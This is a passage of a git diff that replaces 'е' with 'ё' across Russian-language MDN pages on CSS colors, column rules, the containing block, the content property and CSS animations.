<span style="background: hsla(240,100%,50%,0.05);"> <dt>Scrollbar</dt> <dd>Цвет фона полос прокрутки.</dd> <dt>ThreeDDarkShadow</dt> - <dd>Цвет более темной (как правило, внешней) из двух границ от источника света для трехмерных элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.</dd> + <dd>Цвет более тёмной (как правило, внешней) из двух границ от источника света для трёхмерных элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы.</dd> <dt>ThreeDFace</dt> - <dd>Should be used with the <code>ButtonText</code> foreground color. Цвет фона лица для трехмерных элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы. Следует использовать с текстом кнопки цвет переднего плана.</dd> + <dd>Should be used with the <code>ButtonText</code> foreground color. Цвет фона лица для трёхмерных элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы. Следует использовать с текстом кнопки цвет переднего плана.</dd> <dt>ThreeDHighlight</dt> - <dd>Цвет более светлого (обычно внешнего) из двух границ, обращенных к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.</dd> + <dd>Цвет более светлого (обычно внешнего) из двух границ, обращённых к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы.</dd> <dt>ThreeDLightShadow</dt> - <dd>Цвет более темной (обычно внутренней) из двух границ, обращенных к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.</dd> + <dd>Цвет более тёмной (обычно внутренней) из двух границ, обращённых к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы.</dd> <dt>ThreeDShadow</dt> - <dd>Цвет более светлого (как правило, внутреннего) из двух границ от источника света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.</dd> + <dd>Цвет более светлого (как правило, внутреннего) из двух границ от источника света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы.</dd> <dt>Window</dt> <dd>Фон окна. Следует использовать с <code>WindowText</code> цвет переднего плана.</dd> <dt>WindowFrame</dt> @@ -1383,9 +1383,9 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);"> <dt>-moz-ButtonDefault</dt> <dd>Цвет границы вокруг кнопки, которые обозначают действие по умолчанию для диалогового окна.</dd> <dt>-moz-ButtonHoverFace</dt> - <dd>Цвет фона кнопки, на которую наведен указатель мыши (который будет Трехлинейным или лицом кнопки, когда указатель мыши не находится над ним). Следует использовать с-moz-кнопка наведения текста цвет переднего плана.</dd> + <dd>Цвет фона кнопки, на которую наведён указатель мыши (который будет Трёхлинейным или лицом кнопки, когда указатель мыши не находится над ним). Следует использовать с-moz-кнопка наведения текста цвет переднего плана.</dd> <dt>-moz-ButtonHoverText</dt> - <dd>Цвет текста кнопки, на которую наведен указатель мыши (который будет ButtonText, когда указатель мыши не находится над ним). Следует использовать с-<code>-moz-ButtonHoverFace background</code> color.</dd> + <dd>Цвет текста кнопки, на которую наведён указатель мыши (который будет ButtonText, когда указатель мыши не находится над ним). Следует использовать с-<code>-moz-ButtonHoverFace background</code> color.</dd> <dt>-moz-CellHighlight</dt> <dd>Цвет фона для выбранного элемента в виджете дерево. Следует использовать с цветом переднего плана <code>-moz-CellHighlightText</code>. См. также<code>-moz-html-CellHighlight</code>.</dd> <dt>-moz-CellHighlightText</dt> @@ -1400,7 +1400,7 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);"> <dd>Цвет текста для диалоговых окон. Должен использоваться с цветом фона <code>-moz-Dialog</code>.</dd> <dt>-moz-dragtargetzone</dt> <dt>-moz-EvenTreeRow</dt> - <dd>{{gecko_minversion_inline("1.9")}} цвет фона для четных строк в дереве. Должен использоваться с цветом переднего плана <code>-moz-FieldText</code>. В версиях Gecko до 1.9, используйте-moz-поле. См. также <code>-moz-OddTreeRow</code>.</dd> + <dd>{{gecko_minversion_inline("1.9")}} цвет фона для чётных строк в дереве. Должен использоваться с цветом переднего плана <code>-moz-FieldText</code>. В версиях Gecko до 1.9, используйте-moz-поле. См. также <code>-moz-OddTreeRow</code>.</dd> <dt>-moz-Field</dt> <dd>Text field background color. Should be used with the <code>-moz-FieldText</code> foreground color. Цвет фона текстового поля. Должен использоваться с цветом переднего плана<code>-moz-FieldText</code>.</dd> <dt>-moz-FieldText</dt> @@ -1435,7 +1435,7 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);"> <dt>-moz-nativehyperlinktext</dt> <dd>{{Gecko_minversion_inline ("1.9.1")}} цвет гиперссылки платформы по умолчанию.</dd> <dt>-moz-OddTreeRow</dt> - <dd>{{gecko_minversion_inline("1.9")}} цвет фона для нечетных строк в дереве. Должен использоваться с цветом переднего плана <code>-moz-FieldText</code>. В версиях Gecko до 1.9, используйте <code>-moz-Field</code>. Смотрите также <code>-moz-EvenTreeRow</code>.</dd> + <dd>{{gecko_minversion_inline("1.9")}} цвет фона для нечётных строк в дереве. Должен использоваться с цветом переднего плана <code>-moz-FieldText</code>. В версиях Gecko до 1.9, используйте <code>-moz-Field</code>. Смотрите также <code>-moz-EvenTreeRow</code>.</dd> <dt>-moz-win-communicationstext</dt> <dd>{{gecko_minversion_inline ("1.9")}} следует использовать для текста в объектах с <code>{{cssxref ("- moz-appearance")}}:- moz-win-communications-toolbox;</code>.</dd> <dt>-moz-win-mediatext</dt> @@ -1445,7 +1445,7 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);"> Используется для доступа к пользовательскому цвету акцента Windows 10, который можно установить в меню Пуск, панели задач, заголовках и т. д.</dd> <dt>-moz-win-accentcolortext</dt> <dd>{{gecko_minversion_inline ("56")}}<br> - Используется для доступа к цвету текста, размещенного над цветом пользовательского акцента Windows 10 в меню Пуск, панели задач, заголовках и т. д.</dd> + Используется для доступа к цвету текста, размещённого над цветом пользовательского акцента Windows 10 в меню Пуск, панели задач, заголовках и т. д.</dd> </dl> <h3 id="Расширения_Цветовых_Предпочтений_Mozilla">Расширения Цветовых Предпочтений Mozilla</h3> @@ -1460,16 +1460,16 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);"> <dt>-moz-hyperlinktext</dt> <dd>Предпочтения пользователя для цвета текста непрошеных ссылок. Должен использоваться с цветом фона документа по умолчанию.</dd> <dt>-moz-visitedhyperlinktext</dt> - <dd>Предпочтения пользователя для цвета текста посещенных ссылок. Должен использоваться с цветом фона документа по умолчанию.</dd> + <dd>Предпочтения пользователя для цвета текста посещённых ссылок. Должен использоваться с цветом фона документа по умолчанию.</dd> </dl> <h2 id="Интерполяция">Интерполяция</h2> -<p>В анимации и <a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">градиентах </a>значения <code><color></code> интерполируются на каждый из их <a href="https://www.gimp.org/docs/plug-in/appendix-alpha.html">красных, зеленых и синих компонентов</a>. Каждый компонент интерполируется как реальное число с плавающей запятой. Обратите внимание, что интерполяция цветов происходит в Альфа-предварительно умноженном цветовом пространстве rgba, чтобы предотвратить появление неожиданных серых цветов. В анимации, скорость интерполяции определяется <a href="/en-US/docs/Web/CSS/single-transition-timing-function">функцией времени</a>.</p> +<p>В анимации и <a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">градиентах </a>значения <code><color></code> интерполируются на каждый из их <a href="https://www.gimp.org/docs/plug-in/appendix-alpha.html">красных, зелёных и синих компонентов</a>. Каждый компонент интерполируется как реальное число с плавающей запятой. Обратите внимание, что интерполяция цветов происходит в Альфа-предварительно умноженном цветовом пространстве rgba, чтобы предотвратить появление неожиданных серых цветов. В анимации, скорость интерполяции определяется <a href="/en-US/docs/Web/CSS/single-transition-timing-function">функцией времени</a>.</p> <h2 id="Соображения_доступности">Соображения доступности</h2> -<p>Некоторые люди с трудом различают цвета. Рекомендация <a href="https://www.w3.org/TR/WCAG/#visual-audio-contrast">WCAG 2.0</a> настоятельно рекомендует не использовать цвет в качестве единственного средства передачи определенного сообщения, действия или результата. Дополнительную информацию см. В <a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">разделе цвет и цветовой контраст</a>.</p> +<p>Некоторые люди с трудом различают цвета. Рекомендация <a href="https://www.w3.org/TR/WCAG/#visual-audio-contrast">WCAG 2.0</a> настоятельно рекомендует не использовать цвет в качестве единственного средства передачи определённого сообщения, действия или результата. Дополнительную информацию см. В <a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">разделе цвет и цветовой контраст</a>.</p> <h2 id="Технические_характеристики">Технические характеристики</h2> @@ -1485,7 +1485,7 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);"> <tr> <td>{{SpecName('CSS4 Colors', '#colorunits', '<color>')}}</td> <td>{{Spec2('CSS4 Colors')}}</td> - <td>Добавляет <code>rebeccapurple</code>, четырехзначные (<code>#RGBA</code>) и восьмизначные (<code>#RRGGBBAA</code>) шестнадцатеричные обозначения, <code>rgba() </code>и <code>hsla()</code> в качестве псевдонимов <code>rgb ()</code> и <code>hsl () </code>(оба с одинаковым синтаксисом параметров), разделенные пробелами параметры функции в качестве альтернативы запятым, проценты для Альфа-значений и углы для компонента оттенка в цветах <code>hsl ()</code>.</td> + <td>Добавляет <code>rebeccapurple</code>, четырёхзначные (<code>#RGBA</code>) и восьмизначные (<code>#RRGGBBAA</code>) шестнадцатеричные обозначения, <code>rgba() </code>и <code>hsla()</code> в качестве псевдонимов <code>rgb ()</code> и <code>hsl () </code>(оба с одинаковым синтаксисом параметров), разделённые пробелами параметры функции в качестве альтернативы запятым, проценты для Альфа-значений и углы для компонента оттенка в цветах <code>hsl ()</code>.</td> </tr> <tr> <td>{{SpecName('CSS3 Colors', '#colorunits', '<color>')}}</td> @@ -1507,7 +1507,7 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);"> <h2 id="Совместимость_браузера">Совместимость браузера</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> <p>{{Compat("css.properties.color")}}</p> diff --git a/files/ru/web/css/column-count/index.html b/files/ru/web/css/column-count/index.html index b0f17d4069..633d6a186b 100644 --- a/files/ru/web/css/column-count/index.html +++ b/files/ru/web/css/column-count/index.html @@ -3,7 +3,7 @@ title: column-count slug: Web/CSS/column-count tags: - Свойство - - мультиколоночная верстка + - мультиколоночная вёрстка translation_of: Web/CSS/column-count --- <div>{{CSSRef}}</div> diff --git a/files/ru/web/css/column-rule-color/index.html b/files/ru/web/css/column-rule-color/index.html index b0b7cb3ade..3019c7e417 100644 --- a/files/ru/web/css/column-rule-color/index.html +++ b/files/ru/web/css/column-rule-color/index.html @@ -2,7 +2,7 @@ title: column-rule-color slug: Web/CSS/column-rule-color tags: - - мультиколоночная верстка + - мультиколоночная вёрстка translation_of: Web/CSS/column-rule-color --- <div>{{CSSRef}}</div> diff --git a/files/ru/web/css/column-rule-style/index.html b/files/ru/web/css/column-rule-style/index.html index 70816fe051..a012d070de 100644 --- a/files/ru/web/css/column-rule-style/index.html +++ b/files/ru/web/css/column-rule-style/index.html @@ -2,7 +2,7 @@ title: column-rule-style slug: Web/CSS/column-rule-style tags: - - мультиколоночная верстка + - мультиколоночная вёрстка translation_of: Web/CSS/column-rule-style --- <div>{{ CSSRef}}</div> diff --git a/files/ru/web/css/column-rule/index.html b/files/ru/web/css/column-rule/index.html index d590860976..d48f043c0d 100644 --- a/files/ru/web/css/column-rule/index.html +++ b/files/ru/web/css/column-rule/index.html @@ -2,7 +2,7 @@ title: column-rule slug: Web/CSS/column-rule tags: - - мультиколоночная верстка + - мультиколоночная вёрстка translation_of: Web/CSS/column-rule --- <div>{{CSSRef}}</div> @@ -13,7 +13,7 @@ translation_of: Web/CSS/column-rule -<p>Эта краткая форма записи задает индивидуальные <code>column-rule-*</code> свойства, обычно задаваемые: {{Cssxref("column-rule-width")}}, {{Cssxref("column-rule-style")}}, и {{Cssxref("column-rule-color")}}.</p> +<p>Эта краткая форма записи задаёт индивидуальные <code>column-rule-*</code> свойства, обычно задаваемые: {{Cssxref("column-rule-width")}}, {{Cssxref("column-rule-style")}}, и {{Cssxref("column-rule-color")}}.</p> <div class="note"> <p><strong>Примечание:</strong> Как и с другими краткими формами записи, любые индивидуальные значения, не указанные явно принимают значение по умолчанию (возможно переопределение значений, заданных ранее с помощью свойств, не являющихся краткими формами).</p> @@ -32,13 +32,13 @@ column-rule: initial; column-rule: unset; </pre> -<p>Свойство <code>column-rule</code> указывается в виде одного, двух или трех значений, перечисленных ниже, в любом порядке.</p> +<p>Свойство <code>column-rule</code> указывается в виде одного, двух или трёх значений, перечисленных ниже, в любом порядке.</p> <h3 id="Значения">Значения</h3> <dl> <dt><code><'column-rule-width'></code></dt> - <dd>{{cssxref("<length>")}} или одно из трех ключевых свойств, <code>thin</code>, <code>medium</code>, или <code>thick</code>. См. подробно - {{cssxref("border-width")}}.</dd> + <dd>{{cssxref("<length>")}} или одно из трёх ключевых свойств, <code>thin</code>, <code>medium</code>, или <code>thick</code>. См. подробно - {{cssxref("border-width")}}.</dd> <dt><code><'column-rule-style'></code></dt> <dd>См. подробно {{cssxref("border-style")}} .</dd> <dt><code><'column-rule-color'></code></dt> diff --git a/files/ru/web/css/column_combinator/index.html b/files/ru/web/css/column_combinator/index.html index 9fad1a33a2..171d4fd7bc 100644 --- a/files/ru/web/css/column_combinator/index.html +++ b/files/ru/web/css/column_combinator/index.html @@ -2,7 +2,7 @@ title: Комбинатор столбцов slug: Web/CSS/Column_combinator tags: - - Верстка + - Вёрстка - Селекторы translation_of: Web/CSS/Column_combinator --- diff --git a/files/ru/web/css/containing_block/index.html b/files/ru/web/css/containing_block/index.html index fe3fdd2254..644b4d4d54 100644 --- a/files/ru/web/css/containing_block/index.html +++ b/files/ru/web/css/containing_block/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/Containing_block <p class="summary" dir="ltr">На размер и позицию элемента часто влияет его <strong>содержащий блок</strong> (containing block). Чаще всего содержащим блоком является content область (<a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#content-area">content area</a>) ближайшего блочного (<a href="/en-US/docs/Web/HTML/Block-level_elements">block-level</a>) предка, но это не всегда так. <span class="seoSummary">В этой статье мы рассмотрим факторы, которые</span> определяют <span class="seoSummary">содержащий блок элемента.</span></p> -<p class="summary" dir="ltr">Когда пользовательский агент (такой как ваш браузер) делает разметку документа, он создает бокс (box) для каждого элемента. Каждый бокс разделяется на следующие области:</p> +<p class="summary" dir="ltr">Когда пользовательский агент (такой как ваш браузер) делает разметку документа, он создаёт бокс (box) для каждого элемента. Каждый бокс разделяется на следующие области:</p> <ol dir="ltr" start="1"> <li>Content область или область контента (content area).</li> @@ -33,15 +33,15 @@ translation_of: Web/CSS/Containing_block <p dir="ltr">Определение содержащего блока элемента полностью зависит от значения свойства {{cssxref("position")}}:</p> <ol dir="ltr" start="1"> - <li>Если свойство <code>position</code> имеет значение <code><strong>static</strong></code>,<strong> </strong><code><strong>relative</strong></code>, или <strong><code>sticky</code></strong>, то содержащий блок задается краем <em>content бокса</em> ближайшего предка, который: + <li>Если свойство <code>position</code> имеет значение <code><strong>static</strong></code>,<strong> </strong><code><strong>relative</strong></code>, или <strong><code>sticky</code></strong>, то содержащий блок задаётся краем <em>content бокса</em> ближайшего предка, который: <ul> <li>либо является <strong>блочным контейнером</strong> (block container), например, если его свойство display имеет значение inline-block, block или list-item.</li> <li>либо <strong>устанавливает контекст форматирования</strong> (formatting context), например, контейнер таблицы (table container), flex-контейнер (flex container), grid-контейнер (grid container) или блочный контейнер (block container).</li> </ul> </li> - <li>Если свойство <code>position</code><strong> </strong>имеет значение <code><strong>absolute</strong></code>, то содержащий блок задается краем <em>padding бокса</em> ближайшего предка, у которого свойство <code>position</code><strong> </strong>имеет значение отличное от <code>static</code> (<code>fixed</code>, <code>absolute</code>, <code>relative</code> или <code>sticky</code>).</li> - <li>Если свойство <code>position</code><strong> </strong>имеет значение <code><strong>fixed</strong></code>, то содержащий блок задается: + <li>Если свойство <code>position</code><strong> </strong>имеет значение <code><strong>absolute</strong></code>, то содержащий блок задаётся краем <em>padding бокса</em> ближайшего предка, у которого свойство <code>position</code><strong> </strong>имеет значение отличное от <code>static</code> (<code>fixed</code>, <code>absolute</code>, <code>relative</code> или <code>sticky</code>).</li> + <li>Если свойство <code>position</code><strong> </strong>имеет значение <code><strong>fixed</strong></code>, то содержащий блок задаётся: <ul> <li>в случае непрерывного медиа (continuous media) областью просмотра (вьюпорт - {{glossary("viewport")}});</li> <li>в случае страничного медиа (paged media) областью страницы.</li> diff --git a/files/ru/web/css/content/index.html b/files/ru/web/css/content/index.html index 180c415cef..6d71c72e8e 100644 --- a/files/ru/web/css/content/index.html +++ b/files/ru/web/css/content/index.html @@ -60,18 +60,18 @@ content: unset; <dt>{{cssxref("<string>")}}</dt> <dd>Любое количество текстовых символов. Нелатинские символы должны быть закодированы с использованием их escape-последовательности Unicode: например, <code>\000A9</code> представляет собой символ авторского права.</dd> <dt>{{cssxref("<url>")}}</dt> - <dd>URL-адрес, указывающий на внешний ресурс (к примеру, изображение). Если ресурс не может быть отображен, он игнорируется или отображается значение по умолчанию.</dd> + <dd>URL-адрес, указывающий на внешний ресурс (к примеру, изображение). Если ресурс не может быть отображён, он игнорируется или отображается значение по умолчанию.</dd> <dt>{{cssxref("<image>")}}</dt> <dd>{{cssxref("<image>")}}, указанный типом данных {{cssxref("<url>")}} или {{cssxref("<gradient>")}}, или частью веб-страницы, определяемой функцией {{cssxref("element", "element()")}}, указывающей содержимое для обозначения.</dd> <dt>{{cssxref("<counter>")}}</dt> - <dd>Значение <a href="/en-US/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS счетчика</a>, как правило число. Его можно отобразить с помощью функций {{cssxref("counter()")}} или{{cssxref("counters()")}}.</dd> + <dd>Значение <a href="/en-US/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS счётчика</a>, как правило число. Его можно отобразить с помощью функций {{cssxref("counter()")}} или{{cssxref("counters()")}}.</dd> <dd> - <p>Функция <code>counter()</code> имеет две формы записи: 'counter(<var>имя</var>)' или 'counter(<var>имя</var>, <var>стиль</var>)'. Сгенерированный текст - это значение самого вложенного счетчика с заданным именем в области видимости данного элемента. Он отформатирован в указанном стиле (по умолчанию <code>decimal</code>).</p> + <p>Функция <code>counter()</code> имеет две формы записи: 'counter(<var>имя</var>)' или 'counter(<var>имя</var>, <var>стиль</var>)'. Сгенерированный текст - это значение самого вложенного счётчика с заданным именем в области видимости данного элемента. Он отформатирован в указанном стиле (по умолчанию <code>decimal</code>).</p> - <p>Функция <code>counters()</code> также имеет две формы записи: 'counters(<var>name</var>, <var>string</var>)' или 'counters(<var>name</var>, <var>string</var>, <var>style</var>)'. Сгенерированный текст - это значение всех счетчиков с заданным именем в области видимости данного элемента, от крайнего к вложенному. разделенных указанной строкой. Счетчики отображаются в указанном стиле (по умолчанию <code>decimal</code>).</p> + <p>Функция <code>counters()</code> также имеет две формы записи: 'counters(<var>name</var>, <var>string</var>)' или 'counters(<var>name</var>, <var>string</var>, <var>style</var>)'. Сгенерированный текст - это значение всех счётчиков с заданным именем в области видимости данного элемента, от крайнего к вложенному. разделённых указанной строкой. Счётчики отображаются в указанном стиле (по умолчанию <code>decimal</code>).</p> </dd> <dt><code>attr(x)</code></dt> - <dd>Значение атрибута <code>x</code> элемента в виде строки. Если атрибут <code>x</code> отсутствует, вернется пустая строка. Чувствительность к регистру в названии атрибута зависит от языка документа.</dd> + <dd>Значение атрибута <code>x</code> элемента в виде строки. Если атрибут <code>x</code> отсутствует, вернётся пустая строка. Чувствительность к регистру в названии атрибута зависит от языка документа.</dd> <dt><code>open-quote</code> | <code>close-quote</code></dt> <dd>Эти значения заменяются соответствующей строкой из свойства {{cssxref("quotes")}}.</dd> <dt><code>no-open-quote</code> | <code>no-close-quote</code></dt> @@ -123,7 +123,7 @@ q::after { } h1::before { - content: "Chapter "; /* Пробел в конце создает разделение + content: "Chapter "; /* Пробел в конце создаёт разделение между добавленным контентом и остальным контентом*/ }</pre> @@ -169,7 +169,7 @@ h1::before { <h4 id="CSS_3">CSS</h4> <pre class="brush: css">.new-entry::after { - content: " New!"; /* Начальный пробел создает разделение + content: " New!"; /* Начальный пробел создаёт разделение между добавленным контентом и остальным контентом */ color: red; @@ -245,7 +245,7 @@ li { <h2 id="Проблемы_доступности">Проблемы доступности</h2> -<p>Сгенерированный CSS контент не включен в <a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">DOM</a>. Из-за этого он не будет представлен в <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">accessibility tree</a> и некоторые комбинации вспомогательных технологий/браузеров не будут его объявлять. Если контент содержит информацию, которая имеет решающее значение для понимания цели страницы, лучше включить ее в основной документ.</p> +<p>Сгенерированный CSS контент не включён в <a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">DOM</a>. Из-за этого он не будет представлен в <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">accessibility tree</a> и некоторые комбинации вспомогательных технологий/браузеров не будут его объявлять. Если контент содержит информацию, которая имеет решающее значение для понимания цели страницы, лучше включить её в основной документ.</p> <ul> <li><a href="https://tink.uk/accessibility-support-for-css-generated-content/">Accessibility support for CSS generated content – Tink</a></li> diff --git a/files/ru/web/css/css_animations/detecting_css_animation_support/index.html b/files/ru/web/css/css_animations/detecting_css_animation_support/index.html index 785f85c87c..51b1c40887 100644 --- a/files/ru/web/css/css_animations/detecting_css_animation_support/index.html +++ b/files/ru/web/css/css_animations/detecting_css_animation_support/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/CSS_Animations/Detecting_CSS_animation_support --- <div>{{CSSRef}}</div> -<p>CSS-анимации позволяют создавать креативные анимации контента, используя только CSS. Однако, скорее всего, будут случаи, когда эта функция недоступна, и вам придется решать эти задачи с помощью кода JavaScript, чтобы получить аналогичный эффект. Эта статья, основанная на посте в блоге Криса Хайльмана, демонстрирует такую технику.</p> +<p>CSS-анимации позволяют создавать креативные анимации контента, используя только CSS. Однако, скорее всего, будут случаи, когда эта функция недоступна, и вам придётся решать эти задачи с помощью кода JavaScript, чтобы получить аналогичный эффект. Эта статья, основанная на посте в блоге Криса Хайльмана, демонстрирует такую технику.</p> <h2 id="Тестирование_поддержки_анимации_CSS">Тестирование поддержки анимации CSS</h2> @@ -33,7 +33,7 @@ if( animation === false ) { } </pre> -<p>Для начала мы определим несколько переменных. Мы предполагаем, что анимация не поддерживается установкой значения animation в false. Мы устанавливаем строке для <code>animationstring</code> - <code>animation</code> , которая является свойством, которое мы хотим установить позже. Мы создаем массив префиксов браузера для циклического перебора и устанавливаем pfx в пустую строку.</p> +<p>Для начала мы определим несколько переменных. Мы предполагаем, что анимация не поддерживается установкой значения animation в false. Мы устанавливаем строке для <code>animationstring</code> - <code>animation</code> , которая является свойством, которое мы хотим установить позже. Мы создаём массив префиксов браузера для циклического перебора и устанавливаем pfx в пустую строку.</p> <p>Затем мы проверяем, установлено ли свойство CSS {{cssxref("animation-name")}} в коллекции стилей для элемента, заданного переменной elem. Это означает, что браузер поддерживает CSS-анимацию без какого-либо префикса, чего на сегодняшний день никто из них не делает..</p> @@ -80,7 +80,7 @@ if( animation === false ) { <p>Следующая задача-фактически добавить ключевые кадры в CSS страницы. Первое, что нужно сделать, это посмотреть, есть ли уже таблица стилей в документе; если да, то мы просто вставляем описание ключевого кадра в эту таблицу стилей; это делается в строках 13-15.</p> -<p>Если таблицы стилей еще нет, то создается новый элемент {{HTMLElement("style")}}, а его содержимое устанавливается в значение keyframes. Затем новый элемент {{HTMLElement("style")}} вставляется в документ {{HTMLElement("head")}}, тем самым добавляя новую таблицу стилей в документ.</p> +<p>Если таблицы стилей ещё нет, то создаётся новый элемент {{HTMLElement("style")}}, а его содержимое устанавливается в значение keyframes. Затем новый элемент {{HTMLElement("style")}} вставляется в документ {{HTMLElement("head")}}, тем самым добавляя новую таблицу стилей в документ.</p> <p><a href="https://jsfiddle.net/codepo8/ATS2S/8/embedded/result">View on JSFiddle</a></p> diff --git a/files/ru/web/css/css_animations/tips/index.html b/files/ru/web/css/css_animations/tips/index.html index 495c3a3063..15929f6220 100644 --- a/files/ru/web/css/css_animations/tips/index.html +++ b/files/ru/web/css/css_animations/tips/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/CSS_Animations/Tips <p>Спецификация <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animations</a> не предлагает способа запустить анимацию снова. Нет никакого волшебного метода resetAnimation () для элементов, и вы даже не можете просто установить элемент {{cssxref ("animation-play-state")}} в" running " снова. Вместо этого вы должны использовать хитрые трюки, чтобы запустить остановленную анимацию для воспроизведения.</p> -<p>Предлагаем вам один из способов, который мы считаем достаточно надежным и стабильным.</p> +<p>Предлагаем вам один из способов, который мы считаем достаточно надёжным и стабильным.</p> <h3 id="HTML_содержимое">HTML содержимое</h3> @@ -80,8 +80,8 @@ translation_of: Web/CSS/CSS_Animations/Tips <ol> <li>Список классов CSS в элементе сбрасывается до простого "box". Это приводит к удалению всех других классов, которые в настоящее время применяются к элементу, включая класс <code>"changing"</code> , который обрабатывает анимацию. Другими словами, мы удаляем анимационный эффект из элемента. Однако изменения в списке классов не вступают в силу до тех пор, пока не будет завершен перерасчет стиля и не произойдет обновление, отражающее это изменение.</li> - <li>Чтобы убедиться, что стили пересчитаны, мы используем {{domxref("window.requestAnimationFrame()")}} с колбэком. Наш колбэк выполняется непосредственно перед следующей перерисовкой документа. Проблема заключается в том,что, поскольку это происходит до перерисовки, перерасчет стиля еще не произошел! </li> - <li>Наш колбэк ловко вызывает <code>requestAnimationFrame()</code> второй раз! На этот раз колбэк выполняется до следующей перерисовки, то есть после того, как произошла перерасчет стиля. Этот колбэк добавляет класс <code>"changing"</code> обратно в элемент, так что перерисовка снова запустит анимацию.</li> + <li>Чтобы убедиться, что стили пересчитаны, мы используем {{domxref("window.requestAnimationFrame()")}} с колбэком. Наш колбэк выполняется непосредственно перед следующей перерисовкой документа. Проблема заключается в том,что, поскольку это происходит до перерисовки, перерасчёт стиля ещё не произошёл! </li> + <li>Наш колбэк ловко вызывает <code>requestAnimationFrame()</code> второй раз! На этот раз колбэк выполняется до следующей перерисовки, то есть после того, как произошла перерасчёт стиля. Этот колбэк добавляет класс <code>"changing"</code> обратно в элемент, так что перерисовка снова запустит анимацию.</li> </ol> <p>Конечно, нам также нужно добавить обработчик событий к нашей кнопке "выполнить", чтобы она действительно что-то делала:</p> @@ -94,7 +94,7 @@ translation_of: Web/CSS/CSS_Animations/Tips <h2 id="Остановка_анимации">Остановка анимации</h2> -<p>Простое удаление {{cssxref("animation-name")}} примененного к элементу, заставит его исчезнуть или перейти в следующее состояние. Если вместо этого вы хотите, чтобы анимация закончилась, а затем остановилась, вам нужно попробовать другой подход. Главные хитрости заключаются в следующем:</p> +<p>Простое удаление {{cssxref("animation-name")}} применённого к элементу, заставит его исчезнуть или перейти в следующее состояние. Если вместо этого вы хотите, чтобы анимация закончилась, а затем остановилась, вам нужно попробовать другой подход. Главные хитрости заключаются в следующем:</p> <ol> <li>Сделайте свою анимацию настолько самодостаточной, насколько это возможно. Это означает, что вы не должны полагаться на <code>animation-direction: alternate</code>. Вместо этого вы должны явно написать анимацию ключевого кадра, которая проходит через полную анимацию в одном прямом повторении.</li> diff --git a/files/ru/web/css/css_animations/using_css_animations/index.html b/files/ru/web/css/css_animations/using_css_animations/index.html index 2f25d7922e..14ccbe0a77 100644 --- a/files/ru/web/css/css_animations/using_css_animations/index.html +++ b/files/ru/web/css/css_animations/using_css_animations/index.html @@ -41,7 +41,7 @@ original_slug: Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy <dt>{{ cssxref("animation-iteration-count") }}</dt> <dd>Определяет количество повторений анимации; Вы можете использовать значение <code>infinite</code> для бесконечного повторения анимации.</dd> <dt>{{ cssxref("animation-direction") }}</dt> - <dd>Дает возможность при каждом повторе анимации идти по альтернативному пути, либо сбросить все значения и повторить анимацию.</dd> + <dd>Даёт возможность при каждом повторе анимации идти по альтернативному пути, либо сбросить все значения и повторить анимацию.</dd> <dt>{{ cssxref("animation-fill-mode") }}</dt> <dd>Настраивает значения, используемые анимацией, до и после исполнения.</dd> <dt>{{ cssxref("animation-play-state") }}</dt> @@ -52,13 +52,13 @@ original_slug: Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy <p><span id="result_box" lang="ru"><span class="hps">После того, как</span> <span class="hps">вы настроили</span> <span class="hps">временные свойства (продолжительность, ускорение)</span> <span class="hps">анимации</span><span>, вы</span> <span class="hps">должны определить</span> <span class="hps">внешний вид</span> <span class="hps">анимации</span></span>. Это делается с помощью двух и более ключевых кадров после {{ cssxref("@keyframes") }}. Каждый кадр описывает, как должен выглядеть анимированный элемент в текущий момент.</p> -<p>В то время, как временные характеристики (продолжительность анимации) указываются в стилях для анимируемого элемента, ключевые кадры используют {{ cssxref("percentage") }}, чтобы определить стадию протекания анимации. 0% означает начало анимации, а 100% ее конец. Так как эти значения очень важны, то для них придумали специальные слова: <code>from</code> и <code>to</code>.</p> +<p>В то время, как временные характеристики (продолжительность анимации) указываются в стилях для анимируемого элемента, ключевые 